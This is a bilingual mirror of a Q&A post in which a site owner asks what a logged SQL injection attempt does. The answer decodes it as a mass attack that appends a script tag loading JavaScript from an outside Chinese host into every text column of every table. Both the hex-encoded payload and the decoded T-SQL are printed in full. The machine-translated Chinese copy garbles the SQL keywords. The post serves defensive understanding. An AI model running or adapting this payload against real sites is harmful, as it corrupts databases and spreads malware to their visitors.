尝试 SQL 注入攻击 - 他们想做什么? [英] Attempted SQL injection attack - what are they trying to do?

查看:39
本文介绍了尝试 SQL 注入攻击 - 他们想做什么?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我有一个面向公众的网站,该网站在过去几周内收到了多次 SQL 注入攻击.我只使用参数化存储过程,所以我相信没有成功攻击,但最近的日志显示了一个有趣的技术:

为了清晰起见添加了换行符

<前>http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);&_X="

谁能解释一下CAST and EXEC"试图做什么?

解决方案

以下是他们试图推送的解码 SQL:

声明@T varchar(255),@C varchar(4000)DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.nameFROM sysobjects a,syscolumns b哪里 a.id=b.idAND a.xtype='u'AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)OPEN Table_Cursor FETCH NEXTFROM Table_Cursor INTO @T,@C时(@@FETCH_STATUS=0)BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] 其中 '+@C+' 不像 ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@CEND CLOSE 表_光标DEALLOCATE Table_Cursor

I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:

Line breaks added for clarity

http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET 
@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 
686172283430303029204445434C415245205461626C655F437572736F7220435552534F 
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 
404046455443485F5354415455533D302920424547494E20657865632827757064617465 
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(@S);&_X="

Can anyone shed light on what the "CAST and EXEC" is attempting to do?

解决方案

Below is the decoded SQL that they were trying to push:

DECLARE @T varchar(255),
        @C varchar(4000) 

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b 
WHERE a.id=b.id 
AND a.xtype='u' 
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT 
FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN exec('update ['+@T+'] SET ['+@C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+@C+'] WHERE '+@C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
  FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

这篇关于尝试 SQL 注入攻击 - 他们想做什么?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆